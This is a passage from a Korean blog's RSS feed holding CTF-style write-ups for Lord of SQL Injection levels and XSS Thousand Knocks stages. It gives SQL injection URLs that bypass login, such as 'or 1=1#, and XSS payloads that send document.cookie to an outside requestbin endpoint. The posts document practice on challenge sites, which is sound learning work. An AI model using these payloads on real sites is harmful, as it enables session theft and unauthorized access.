0);&quot;&gt;);&lt;/span&gt;&lt;/p&gt;&lt;span style=&quot;font-family: monospace; font-size: medium; color: rgb(0, 119, 0);&quot;&gt;&amp;nbsp;&amp;nbsp;elseif(&lt;/span&gt;&lt;span style=&quot;font-family: monospace; font-size: medium; color: rgb(0, 0, 187);&quot;&gt;$result&lt;/span&gt;&lt;span style=&quot;font-family: monospace; font-size: medium; color: rgb(0, 119, 0);&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;font-family: monospace; font-size: medium; color: rgb(221, 0, 0);&quot;&gt;'id'&lt;/span&gt;&lt;span style=&quot;font-family: monospace; font-size: medium; color: rgb(0, 119, 0);&quot;&gt;])&amp;nbsp;echo&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: monospace; font-size: medium; color: rgb(221, 0, 0);&quot;&gt;&quot;&amp;lt;h2&amp;gt;Hello&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: monospace; font-size: medium; color: rgb(0, 119, 0);&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;font-family: monospace; font-size: medium; color: rgb(0, 0, 187);&quot;&gt;$result&lt;/span&gt;&lt;span style=&quot;font-family: monospace; font-size: medium; color: rgb(0, 119, 0);&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;font-family: monospace; font-size: medium; color: rgb(221, 0, 0);&quot;&gt;'id'&lt;/span&gt;&lt;span style=&quot;font-family: monospace; font-size: medium; color: rgb(0, 119, 0);&quot;&gt;]}&lt;/span&gt;&lt;span style=&quot;font-family: monospace; font-size: medium; color: rgb(221, 0, 0);&quot;&gt;&amp;lt;br&amp;gt;You&amp;nbsp;are&amp;nbsp;not&amp;nbsp;admin&amp;nbsp;:(&amp;lt;/h2&amp;gt;&quot;&lt;/span&gt;&lt;span style=&quot;font-family: monospace; font-size: medium; color: rgb(0, 119, 0);&quot;&gt;;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: monospace; font-size: medium; color: rgb(0, 0, 187);&quot;&gt;highlight_file&lt;/span&gt;&lt;span style=&quot;font-family: monospace; font-size: medium; color: rgb(0, 119, 0);&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;font-family: monospace; font-size: medium; color: rgb(0, 0, 187);&quot;&gt;__FILE__&lt;/span&gt;&lt;span style=&quot;font-family: monospace; font-size: medium; color: rgb(0, 119, 0);&quot;&gt;);&amp;nbsp;&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;전과 같은 방법을 쓰니 admin이 아니라 id가 rubiya님이 뜨는것을 확인할 수 있다.&amp;nbsp;흠 그럼 admin으로 로그인을 해야 된다는건데...&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;그래서 admin을 넣고 뒤에는 주석처리를 해주었다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;http://los.rubiya.kr/cobolt_b876ab5595253427d3bc34f1cd8f30db.php?id=admin%27%20%23&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;이렇게 하니 성공!!&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 900px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99A74C4C5B5184C901&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99A74C4C5B5184C901&quot; width=&quot;900&quot; height=&quot;377&quot; filename=&quot;5.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>WebHacking/Lord of SQL injection Write-Up</category>
      <author>ki3lo</author>
      <guid isPermaLink="true">https://brillian-ye.tistory.com/26</guid>
      <comments>https://brillian-ye.tistory.com/26#entry26comment</comments>
      <pubDate>Fri, 20 Jul 2018 15:44:32 +0900</pubDate>
    </item>
    <item>
      <title>Los gremlin writeup</title>
      <link>https://brillian-ye.tistory.com/25</link>
      <description>&lt;p&gt;LOS&amp;nbsp;gremlin writeup&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;문제 확인을 해보면,&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 900px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9967D2405B517E7B20&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9967D2405B517E7B20&quot; width=&quot;900&quot; height=&quot;311&quot; filename=&quot;1.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;위와 같이 나와있고, GET방식으로 되어있음을 알게 된다.&amp;nbsp;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;http://los.rubiya.kr/gremlin_280c5552de8b681110e9287421b834fd.php?id=yeali&amp;amp;pw=1234&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;이렇게 입력을 하면,&amp;nbsp;&lt;/p&gt;&lt;hr style=&quot;font-family: &amp;quot;Malgun Gothic&amp;quot;; font-size: medium;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Malgun Gothic&amp;quot;; font-size: medium;&quot;&gt;query :&amp;nbsp;&lt;/span&gt;&lt;strong style=&quot;font-family: &amp;quot;Malgun Gothic&amp;quot;; font-size: medium;&quot;&gt;select id from prob_gremlin where id='yeali' and pw='1234'&lt;/strong&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;쿼리문이 이렇게 변경되게 된다.&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;id와 pw를 성립하게 해주면 되는 문제인듯하다.&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;http://los.rubiya.kr/gremlin_280c5552de8b681110e9287421b834fd.php?id='or 1=1#&amp;amp;pw=&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;이렇게 해서 #뒤에는 주석처리를 해주려고 했으나 #이 안들어간다. url 인코딩을 해줘야 하나보다!&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;http://los.rubiya.kr/gremlin_280c5552de8b681110e9287421b834fd.php?id=%27or%201=1%23&amp;amp;pw=&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;이렇게 하면 성공!&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 900px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9992BE4D5B5181591B&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9992BE4D5B5181591B&quot; width=&quot;900&quot; height=&quot;449&quot; filename=&quot;2.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>WebHacking/Lord of SQL injection Write-Up</category>
      <author>ki3lo</author>
      <guid isPermaLink="true">https://brillian-ye.tistory.com/25</guid>
      <comments>https://brillian-ye.tistory.com/25#entry25comment</comments>
      <pubDate>Fri, 20 Jul 2018 15:30:00 +0900</pubDate>
    </item>
    <item>
      <title>XSS Thousand Knocks Stage4 write up</title>
      <link>https://brillian-ye.tistory.com/15</link>
      <description>&lt;p&gt;여기서 시간 많이 썼다.&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;문제 3번이랑 비슷한데 똑같이 하면 안된다.&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;그래서 &amp;lt;a&amp;gt;태그를 닫아서 스크립트를 전달하면 ok가 뜬다.&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;http://2375e1f80fe2ec262a235d594fbcee96dba66710.knock.xss.moe/?q='&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;script&amp;gt;location.href=%27http://requestbin.fullcontact.com/v9x9evv9?%27%2Bdocument.cookie&amp;lt;/script&amp;gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 900px; text-align: center;; height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/997EFE375B4F07CB05&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F997EFE375B4F07CB05&quot; width=&quot;900&quot; height=&quot;606&quot; filename=&quot;xss_27.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;text-align: center;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;이렇게 성공.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;ps. 이거 textarea로 문제 풀 수 있던데, 어떻게 풀리는지 의문이다.&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;http://2375e1f80fe2ec262a235d594fbcee96dba66710.knock.xss.moe/?q=%22%3E%3C/textarea%3E%3Cscript%3Elocation.href=%27http://requestbin.fullcontact.com/v9x9evv9?a=%27%2Bdocument.cookie%3C/script%3E%3Ctextarea%3E&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>WebHacking/XSS Thousand Knocks Write-Up</category>
      <author>ki3lo</author>
      <guid isPermaLink="true">https://brillian-ye.tistory.com/15</guid>
      <comments>https://brillian-ye.tistory.com/15#entry15comment</comments>
      <pubDate>Wed, 18 Jul 2018 18:27:24 +0900</pubDate>
    </item>
    <item>
      <title>XSS Thousand Knocks Stage3 write up</title>
      <link>https://brillian-ye.tistory.com/14</link>
      <description>&lt;p&gt;수천 번의 노크 XSS 단계 3번 write up&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;링크를 접속하니 Link라는 href가 하나 있고, 접속을 하면 기존과 같게 접속이 된다.&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 732px; text-align: center;; height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9940EC355B4EFA3022&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9940EC355B4EFA3022&quot; width=&quot;732&quot; height=&quot;126&quot; filename=&quot;xss_25.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;text-align: center;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;이거 xss game 5번에서 비슷한 문제를 풀어보았기에 비슷하게 하면 된다고 생각을 했음.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;?q=' ' 2번과 같이 넣어놓고 link를 누르면 되는거같다!!!&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;근데 자꾸 404 not found | nginx로 간다... 음 nginx?&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;** nginx : 아파치 같은 웹서버인듯하다. 한국에서 27%의 점유율을 가지고 있고, 아파치 보다 더 적은 자원으로 더 빠르게 데이터를 서비스 할 수 있는 웹 서버 소프트웨어이다.&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;페이지 소스 보기를 하면&amp;nbsp;&lt;span class=&quot;html-tag&quot; style=&quot;font-size: medium; font-family: monospace; white-space: pre-wrap;&quot;&gt;&amp;lt;a &lt;span class=&quot;html-attribute-name&quot;&gt;href&lt;/span&gt;=&quot;&lt;a class=&quot;html-attribute-value html-external-link&quot; target=&quot;_blank&quot; href=&quot;http://68e3b596ebf790e8a781b8d87b84af7eb7b0aeb3.knock.xss.moe/q=XSS&quot;&gt;/q=XSS&lt;/a&gt;&quot;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: medium; font-family: monospace; white-space: pre-wrap;&quot;&gt;Link&lt;/span&gt;&lt;span class=&quot;html-tag&quot; style=&quot;font-size: medium; font-family: monospace; white-space: pre-wrap;&quot;&gt;&amp;lt;/a&amp;gt; 이렇게 있음을 보게 된다. 그럼 href에서 빠져나와 내가 원하는 스크립트를 실행시키게 해야 되는것같다. &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;html-tag&quot; style=&quot;font-size: medium; font-family: monospace; white-space: pre-wrap;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;html-tag&quot; style=&quot;font-size: medium; font-family: monospace; white-space: pre-wrap;&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;pre style=&quot;box-sizing: inherit; margin-top: 0px; margin-bottom: 0px; padding: 0px; font-size: 14.4px; font-family: SFMono-Regular, Consolas, &amp;quot;Liberation Mono&amp;quot;, Menlo, Courier, monospace; color: rgb(227, 227, 227); background-color: transparent; border: none; border-radius: 0px; line-height: 1.8;&quot;&gt;&lt;p&gt;&lt;span class=&quot;s2&quot; style=&quot;box-sizing: inherit; color: rgb(65, 183, 215);&quot;&gt;http://68e3b596ebf790e8a781b8d87b84af7eb7b0aeb3.knock.xss.moe/?q=&quot;&amp;gt;&amp;lt;script&amp;gt;location.href='http://requestbin.fullcontact.com/181sw2j1?a='%2Bdocument.cookie&amp;lt;/script&amp;gt;&lt;/span&gt;&lt;/p&gt;&lt;/pre&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;이렇게 해서 창에서는 되었다! ok가 떴습니다.&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;그런데 Stage에 넣으면 fail csrf check이 또 떴다. 아까도 html encoding으로 '을 바꿔주면 되는것같다.&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;'는 %27이다. 이걸 적용해서&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(65, 183, 215); font-family: SFMono-Regular, Consolas, &amp;quot;Liberation Mono&amp;quot;, Menlo, Courier, monospace; font-size: 14.4px; white-space: pre;&quot;&gt;http://68e3b596ebf790e8a781b8d87b84af7eb7b0aeb3.knock.xss.moe/?q=&lt;/span&gt;&lt;span style=&quot;color: rgb(65, 183, 215); font-family: SFMono-Regular, Consolas, &amp;quot;Liberation Mono&amp;quot;, Menlo, Courier, monospace; font-size: 14.4px; white-space: pre;&quot;&gt;&quot;&amp;gt;&amp;lt;script&amp;gt;location.href=%27http://requestbin.fullcontact.com/181sw2j1?a=%27&lt;/span&gt;&lt;span style=&quot;color: rgb(65, 183, 215); font-family: SFMono-Regular, Consolas, &amp;quot;Liberation Mono&amp;quot;, Menlo, Courier, monospace; font-size: 14.4px; white-space: pre;&quot;&gt;%2Bdocument.cookie&amp;lt;/script&amp;gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;이렇게 넣으면 성공&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 900px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99C807355B4EFA3102&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99C807355B4EFA3102&quot; width=&quot;900&quot; height=&quot;599&quot; filename=&quot;xss_26.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>WebHacking/XSS Thousand Knocks Write-Up</category>
      <author>ki3lo</author>
      <guid isPermaLink="true">https://brillian-ye.tistory.com/14</guid>
      <comments>https://brillian-ye.tistory.com/14#entry14comment</comments>
      <pubDate>Wed, 18 Jul 2018 17:28:52 +0900</pubDate>
    </item>
    <item>
      <title>XSS Thousand Knocks Stage2 write up</title>
      <link>https://brillian-ye.tistory.com/13</link>
      <description>&lt;p&gt;링크를 들어가면 아래와 같은 링크로 들어가게 된다.&amp;nbsp;&lt;/p&gt;&lt;p&gt;http://1a31198b4289ff3af4f7195a810c48eba9f6bf28.knock.xss.moe/?q=XSS&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;q=뒤에 있는 내용이 출력되는 기능을 가지고 있는 웹페이지이다.&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 900px; text-align: center;; height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99BBC03A5B4EEE8C23&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99BBC03A5B4EEE8C23&quot; width=&quot;900&quot; height=&quot;222&quot; filename=&quot;xss_22.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;text-align: center;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;그래서 아래와 같은 url을 보내보았다.&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;http://1a31198b4289ff3af4f7195a810c48eba9f6bf28.knock.xss.moe/?q=&amp;lt;script&amp;gt;location.href='http://requestbin.fullcontact.com/x1n9b3x1'+document.cookie&amp;lt;/script&amp;gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;그런데 이렇게 보내니까 failed csrf check! 라고 뜨면서 실패가 된다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;고민을 해보다가 +의 문제인거같아서 http encoding하면 나오는 %2B를 넣어서 보내보았다.&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;http://1a31198b4289ff3af4f7195a810c48eba9f6bf28.knock.xss.moe/?q=&amp;lt;script&amp;gt;location.href='http://requestbin.fullcontact.com/x1n9b3x1'%2Bdocument.cookie&amp;lt;/script&amp;gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;근데 자꾸 none이 뜬다... 그 이유가 뭘까?&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 900px; text-align: center;; height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9956263A5B4EEE8D14&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9956263A5B4EEE8D14&quot; width=&quot;900&quot; height=&quot;316&quot; filename=&quot;xss_23.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;text-align: center;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;http://1a31198b4289ff3af4f7195a810c48eba9f6bf28.knock.xss.moe/?q=&amp;lt;script&amp;gt;location.href='http://requestbin.fullcontact.com/x1n9b3x1?a='%2Bdocument.cookie&amp;lt;/script&amp;gt;&lt;/p&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;p&gt;변수값을 안 줘서 안 뜬거였다....세상 바보...&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;이렇게 하면 flag가 제대로 온다. 성공&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 900px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9921A23A5B4EEE8D2F&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9921A23A5B4EEE8D2F&quot; width=&quot;900&quot; height=&quot;612&quot; filename=&quot;xss_24.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>WebHacking/XSS Thousand Knocks Write-Up</category>
      <author>ki3lo</author>
      <guid isPermaLink="true">https://brillian-ye.tistory.com/13</guid>
      <comments>https://brillian-ye.tistory.com/13#entry13comment</comments>
      <pubDate>Wed, 18 Jul 2018 16:39:31 +0900</pubDate>
    </item>
  </channel>
</rss>